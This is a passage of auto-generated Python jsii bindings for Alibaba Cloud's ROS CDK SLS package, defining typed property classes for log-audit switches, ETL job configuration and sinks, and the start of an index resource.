Redis audit. ''' result = self._values.get("redis_audit_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def redis_audit_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: redisAuditTtl: Redis audit log centralization ttl. Default 7. ''' result = self._values.get("redis_audit_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def redis_sync_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: redisSyncEnabled: Redis sync to center switch. Default true. ''' result = self._values.get("redis_sync_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def redis_sync_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: redisSyncTtl: Redis sync to center switch. Default 180. ''' result = self._values.get("redis_sync_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def sas_crack_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: sasCrackEnabled: Cloud Security Center Brute Force Log Switch. Default false. ''' result = self._values.get("sas_crack_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def sas_dns_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: sasDnsEnabled: Cloud Security Center DNS resolution log switch. Default false. ''' result = self._values.get("sas_dns_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def sas_http_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: sasHttpEnabled: Cloud Security Center WEB access log switch. Default false. ''' result = self._values.get("sas_http_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def sas_local_dns_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: sasLocalDnsEnabled: Cloud security center local DNS log switch. Default false. ''' result = self._values.get("sas_local_dns_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def sas_login_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: sasLoginEnabled: Cloud security center login flow log switch. Default false. ''' result = self._values.get("sas_login_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def sas_network_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: sasNetworkEnabled: Cloud security center network connection log switch. Default false. ''' result = self._values.get("sas_network_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def sas_process_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: sasProcessEnabled: Cloud Security Center process startup log switch. Default false. ''' result = self._values.get("sas_process_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def sas_security_alert_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: sasSecurityAlertEnabled: Cloud Security Center Security Alarm Log Switch .Default false. ''' result = self._values.get("sas_security_alert_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def sas_security_hc_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: sasSecurityHcEnabled: Cloud Security Center Baseline Log Switch. Default false. ''' result = self._values.get("sas_security_hc_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def sas_security_vul_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: sasSecurityVulEnabled: Cloud Security Center Vulnerability Log Switch.Default false. ''' result = self._values.get("sas_security_vul_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def sas_session_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: sasSessionEnabled: Cloud security center network session log switch.Default false. ''' result = self._values.get("sas_session_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def sas_snapshot_account_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: sasSnapshotAccountEnabled: Cloud Security Center account snapshot switch. Default false. ''' result = self._values.get("sas_snapshot_account_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def sas_snapshot_port_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: sasSnapshotPortEnabled: Cloud Security Center Port Snapshot Switch. Default false. ''' result = self._values.get("sas_snapshot_port_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def sas_snapshot_process_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: sasSnapshotProcessEnabled: Cloud Security Center process snapshot switch. Default false. ''' result = self._values.get("sas_snapshot_process_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def sas_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: sasTiEnabled: Threat Intelligence of Cloud Security Center. ''' result = self._values.get("sas_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def sas_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: sasTtl: Cloud Security Center centralized ttl. Default 180. ''' result = self._values.get("sas_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def slb_access_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: slbAccessCollectionPolicy: SLB audit collection policy ''' result = self._values.get("slb_access_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def slb_access_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: slbAccessEnabled: Slb log switch. Default true. ''' result = self._values.get("slb_access_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def slb_access_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: slbAccessPolicySetting: SLB audit policy setting. ''' result = self._values.get("slb_access_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def slb_access_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: slbAccessTiEnabled: Threat Intelligence of SLB. ''' result = self._values.get("slb_access_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def slb_access_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: slbAccessTtl: Slb centralized ttl. Default 7. ''' result = self._values.get("slb_access_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def slb_sync_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: slbSyncEnabled: Slb sync to center switch. Default true. ''' result = self._values.get("slb_sync_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def slb_sync_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: slbSyncTtl: Slb sync to center switch. Default 180. ''' result = self._values.get("slb_sync_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def waf_access_collection_policy( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: wafAccessCollectionPolicy: Waf audit collection policy ''' result = self._values.get("waf_access_collection_policy") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def waf_access_policy_setting( self, ) -> typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]]: ''' :Property: wafAccessPolicySetting: Waf audit policy setting. ''' result = self._values.get("waf_access_policy_setting") return typing.cast(typing.Optional[typing.Union[typing.List[typing.Any], ros_cdk_core.IResolvable]], result) @builtins.property def waf_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: wafEnabled: Waf log switch. Default true. ''' result = self._values.get("waf_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def waf_ti_enabled( self, ) -> typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]]: ''' :Property: wafTiEnabled: Threat Intelligence of Waf. ''' result = self._values.get("waf_ti_enabled") return typing.cast(typing.Optional[typing.Union[builtins.bool, ros_cdk_core.IResolvable]], result) @builtins.property def waf_ttl( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: wafTtl: Waf centralized ttl. Default true. ''' result = self._values.get("waf_ttl") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "VariableMapProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosAuditProps", jsii_struct_bases=[], name_mapping={ "display_name": "displayName", "variable_map": "variableMap", "multi_account": "multiAccount", }, ) class RosAuditProps: def __init__( self, *, display_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], variable_map: typing.Union[ros_cdk_core.IResolvable, RosAudit.VariableMapProperty], multi_account: typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Sequence[typing.Union[builtins.str, ros_cdk_core.IResolvable]]]] = None, ) -> None: '''Properties for defining a ``ALIYUN::SLS::Audit``. :param display_name: :param variable_map: :param multi_account: ''' self._values: typing.Dict[str, typing.Any] = { "display_name": display_name, "variable_map": variable_map, } if multi_account is not None: self._values["multi_account"] = multi_account @builtins.property def display_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: displayName: Name of SLS log audit. ''' result = self._values.get("display_name") assert result is not None, "Required property 'display_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def variable_map( self, ) -> typing.Union[ros_cdk_core.IResolvable, RosAudit.VariableMapProperty]: ''' :Property: variableMap: Log audit detailed configuration. ''' result = self._values.get("variable_map") assert result is not None, "Required property 'variable_map' is missing" return typing.cast(typing.Union[ros_cdk_core.IResolvable, RosAudit.VariableMapProperty], result) @builtins.property def multi_account( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[builtins.str, ros_cdk_core.IResolvable]]]]: ''' :Property: multiAccount: Multi-account configuration, please fill in multiple aliuid. ''' result = self._values.get("multi_account") return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[builtins.str, ros_cdk_core.IResolvable]]]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "RosAuditProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class RosEtl( ros_cdk_core.RosResource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.RosEtl", ): '''A ROS template type: ``ALIYUN::SLS::Etl``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "RosEtlProps", enable_resource_property_constraint: builtins.bool, ) -> None: '''Create a new ``ALIYUN::SLS::Etl``. :param scope: - scope in which this resource is defined. :param id: - scoped id of the resource. :param props: - resource properties. :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @jsii.member(jsii_name="renderProperties") def _render_properties( self, props: typing.Mapping[builtins.str, typing.Any], ) -> typing.Mapping[builtins.str, typing.Any]: ''' :param props: - ''' return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.invoke(self, "renderProperties", [props])) @jsii.python.classproperty # type: ignore[misc] @jsii.member(jsii_name="ROS_RESOURCE_TYPE_NAME") def ROS_RESOURCE_TYPE_NAME(cls) -> builtins.str: '''The resource type name for this resource class.''' return typing.cast(builtins.str, jsii.sget(cls, "ROS_RESOURCE_TYPE_NAME")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrName") def attr_name(self) -> ros_cdk_core.IResolvable: ''' :Attribute: Name: ETL name. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrName")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="rosProperties") def _ros_properties(self) -> typing.Mapping[builtins.str, typing.Any]: return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.get(self, "rosProperties")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="configuration") def configuration( self, ) -> typing.Union[ros_cdk_core.IResolvable, "RosEtl.ConfigurationProperty"]: ''' :Property: configuration: The configuration of ETL task ''' return typing.cast(typing.Union[ros_cdk_core.IResolvable, "RosEtl.ConfigurationProperty"], jsii.get(self, "configuration")) @configuration.setter def configuration( self, value: typing.Union[ros_cdk_core.IResolvable, "RosEtl.ConfigurationProperty"], ) -> None: jsii.set(self, "configuration", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="displayName") def display_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: displayName: ETL display name ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "displayName")) @display_name.setter def display_name( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "displayName", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="enableResourcePropertyConstraint") def enable_resource_property_constraint(self) -> builtins.bool: return typing.cast(builtins.bool, jsii.get(self, "enableResourcePropertyConstraint")) @enable_resource_property_constraint.setter def enable_resource_property_constraint(self, value: builtins.bool) -> None: jsii.set(self, "enableResourcePropertyConstraint", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="name") def name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: name: ETL name ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "name")) @name.setter def name(self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable]) -> None: jsii.set(self, "name", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="projectName") def project_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: projectName: Project name ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "projectName")) @project_name.setter def project_name( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "projectName", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="schedule") def schedule( self, ) -> typing.Union[ros_cdk_core.IResolvable, "RosEtl.ScheduleProperty"]: ''' :Property: schedule: Task scheduling strategy ''' return typing.cast(typing.Union[ros_cdk_core.IResolvable, "RosEtl.ScheduleProperty"], jsii.get(self, "schedule")) @schedule.setter def schedule( self, value: typing.Union[ros_cdk_core.IResolvable, "RosEtl.ScheduleProperty"], ) -> None: jsii.set(self, "schedule", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="description") def description( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: description: ETL description message. ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "description")) @description.setter def description( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "description", value) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosEtl.ConfigurationProperty", jsii_struct_bases=[], name_mapping={ "logstore": "logstore", "script": "script", "sinks": "sinks", "from_time": "fromTime", "parameters": "parameters", "role_arn": "roleArn", "to_time": "toTime", "version": "version", }, ) class ConfigurationProperty: def __init__( self, *, logstore: typing.Union[builtins.str, ros_cdk_core.IResolvable], script: typing.Union[builtins.str, ros_cdk_core.IResolvable], sinks: typing.Union[ros_cdk_core.IResolvable, typing.Sequence[typing.Union[ros_cdk_core.IResolvable, "RosEtl.SinksProperty"]]], from_time: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, parameters: typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Mapping[builtins.str, typing.Any]]] = None, role_arn: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, to_time: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, version: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, ) -> None: ''' :param logstore: :param script: :param sinks: :param from_time: :param parameters: :param role_arn: :param to_time: :param version: ''' self._values: typing.Dict[str, typing.Any] = { "logstore": logstore, "script": script, "sinks": sinks, } if from_time is not None: self._values["from_time"] = from_time if parameters is not None: self._values["parameters"] = parameters if role_arn is not None: self._values["role_arn"] = role_arn if to_time is not None: self._values["to_time"] = to_time if version is not None: self._values["version"] = version @builtins.property def logstore(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: logstore: The source logstore of the processing job. ''' result = self._values.get("logstore") assert result is not None, "Required property 'logstore' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def script(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: script: Processing operation grammar. ''' result = self._values.get("script") assert result is not None, "Required property 'script' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def sinks( self, ) -> typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[ros_cdk_core.IResolvable, "RosEtl.SinksProperty"]]]: ''' :Property: sinks: target logstore configuration for delivery after data processing. ''' result = self._values.get("sinks") assert result is not None, "Required property 'sinks' is missing" return typing.cast(typing.Union[ros_cdk_core.IResolvable, typing.List[typing.Union[ros_cdk_core.IResolvable, "RosEtl.SinksProperty"]]], result) @builtins.property def from_time( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: fromTime: The start time of the processing job, the default starts from the current time. ''' result = self._values.get("from_time") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def parameters( self, ) -> typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Mapping[builtins.str, typing.Any]]]: ''' :Property: parameters: Advanced parameter configuration of processing operations. ''' result = self._values.get("parameters") return typing.cast(typing.Optional[typing.Union[ros_cdk_core.IResolvable, typing.Mapping[builtins.str, typing.Any]]], result) @builtins.property def role_arn( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: roleArn: Sts role info under delivery target logstore. ''' result = self._values.get("role_arn") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def to_time( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: toTime: Deadline of processing job, the default value is None ''' result = self._values.get("to_time") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def version( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: version: The script version. ''' result = self._values.get("version") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "ConfigurationProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosEtl.ScheduleProperty", jsii_struct_bases=[], name_mapping={"type": "type"}, ) class ScheduleProperty: def __init__( self, *, type: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: ''' :param type: ''' self._values: typing.Dict[str, typing.Any] = { "type": type, } @builtins.property def type(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: type: The type of task scheduling strategies, value: Resident ''' result = self._values.get("type") assert result is not None, "Required property 'type' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "ScheduleProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosEtl.SinksProperty", jsii_struct_bases=[], name_mapping={ "logstore": "logstore", "name": "name", "project": "project", "endpoint": "endpoint", "role_arn": "roleArn", "type": "type", }, ) class SinksProperty: def __init__( self, *, logstore: typing.Union[builtins.str, ros_cdk_core.IResolvable], name: typing.Union[builtins.str, ros_cdk_core.IResolvable], project: typing.Union[builtins.str, ros_cdk_core.IResolvable], endpoint: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, role_arn: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, type: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, ) -> None: ''' :param logstore: :param name: :param project: :param endpoint: :param role_arn: :param type: ''' self._values: typing.Dict[str, typing.Any] = { "logstore": logstore, "name": name, "project": project, } if endpoint is not None: self._values["endpoint"] = endpoint if role_arn is not None: self._values["role_arn"] = role_arn if type is not None: self._values["type"] = type @builtins.property def logstore(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: logstore: Delivery target logstore. ''' result = self._values.get("logstore") assert result is not None, "Required property 'logstore' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: name: Delivery target name. ''' result = self._values.get("name") assert result is not None, "Required property 'name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def project(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: project: The project where the target logstore is delivered. ''' result = self._values.get("project") assert result is not None, "Required property 'project' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def endpoint( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: endpoint: Delivery target logstore region. ''' result = self._values.get("endpoint") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def role_arn( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: roleArn: Sts role info under delivery target logstore. ''' result = self._values.get("role_arn") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: type: ETL sinks type, the default value is AliyunLOG. ''' result = self._values.get("type") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "SinksProperty(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) @jsii.data_type( jsii_type="@alicloud/ros-cdk-sls.RosEtlProps", jsii_struct_bases=[], name_mapping={ "configuration": "configuration", "display_name": "displayName", "name": "name", "project_name": "projectName", "schedule": "schedule", "description": "description", }, ) class RosEtlProps: def __init__( self, *, configuration: typing.Union[ros_cdk_core.IResolvable, RosEtl.ConfigurationProperty], display_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], name: typing.Union[builtins.str, ros_cdk_core.IResolvable], project_name: typing.Union[builtins.str, ros_cdk_core.IResolvable], schedule: typing.Union[ros_cdk_core.IResolvable, RosEtl.ScheduleProperty], description: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, ) -> None: '''Properties for defining a ``ALIYUN::SLS::Etl``. :param configuration: :param display_name: :param name: :param project_name: :param schedule: :param description: ''' self._values: typing.Dict[str, typing.Any] = { "configuration": configuration, "display_name": display_name, "name": name, "project_name": project_name, "schedule": schedule, } if description is not None: self._values["description"] = description @builtins.property def configuration( self, ) -> typing.Union[ros_cdk_core.IResolvable, RosEtl.ConfigurationProperty]: ''' :Property: configuration: The configuration of ETL task ''' result = self._values.get("configuration") assert result is not None, "Required property 'configuration' is missing" return typing.cast(typing.Union[ros_cdk_core.IResolvable, RosEtl.ConfigurationProperty], result) @builtins.property def display_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: displayName: ETL display name ''' result = self._values.get("display_name") assert result is not None, "Required property 'display_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: name: ETL name ''' result = self._values.get("name") assert result is not None, "Required property 'name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def project_name(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: projectName: Project name ''' result = self._values.get("project_name") assert result is not None, "Required property 'project_name' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def schedule( self, ) -> typing.Union[ros_cdk_core.IResolvable, RosEtl.ScheduleProperty]: ''' :Property: schedule: Task scheduling strategy ''' result = self._values.get("schedule") assert result is not None, "Required property 'schedule' is missing" return typing.cast(typing.Union[ros_cdk_core.IResolvable, RosEtl.ScheduleProperty], result) @builtins.property def description( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: description: ETL description message. ''' result = self._values.get("description") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "RosEtlProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class RosIndex( ros_cdk_core.RosResource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-sls.RosIndex", ): '''A ROS template type: ``ALIYUN::SLS::Index``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "RosIndexProps", enable_resource_property_constraint: builtins.bool, ) -> None: '''Create a new ``ALIYUN::SLS::Index``. :param scope: - scope in which this resource is defined. :param id: - scoped id of the resource. :param props: - resource properties. :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @jsii.member(jsii_name="renderProperties") def _render_properties( self, props: typing.Mapping[builtins.str, typing.Any], ) -> typing.Mapping[builtins.str, typing.Any]: ''' :param props: - ''' return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.invoke(self, "renderProperties", [props])) @jsii.python.classproperty # type: ignore[misc] @jsii.member(jsii_name="ROS_RESOURCE_TYPE_NAME") def ROS_RESOURCE_TYPE_NAME(cls) -> builtins.str: '''The resource type name for this resource class.''' return typing.cast(builtins.str, jsii.sget(cls, "ROS_RESOURCE_TYPE_NAME")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="rosProperties") def _ros_properties(self) -> typing.Mapping[builtins.str, typing.Any]: return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.get(self, "rosProperties")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="enableResourcePropertyConstraint") def enable_resource_property_constraint(self) -> builtins.bool: '''A factory method that creates a new instance of this class from an object containing the properties of this ROS resource.''' return typing.cast(builtins.bool, jsii.get(self, "enableResourcePropertyConstraint")) @enable_resource_property_constraint.setter def enable_resource_property_constraint(self, value: builtins.bool) -> None: jsii.set(self, "enableResourcePropertyConstraint", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="fullTextIndex") def full_text_index( self, ) -> typing.Union[ros_cdk_core.IResolvable, "RosIndex.FullTextIndexProperty"]: ''' :Property: fullTextIndex: Full-text indexing configuration. Full-text indexing and key indexing must have at least one enabled. ''' return typing.cast(typing.Union[ros_cdk_core.IResolvable, "RosIndex.FullTextIndexProperty"], jsii.get(self, 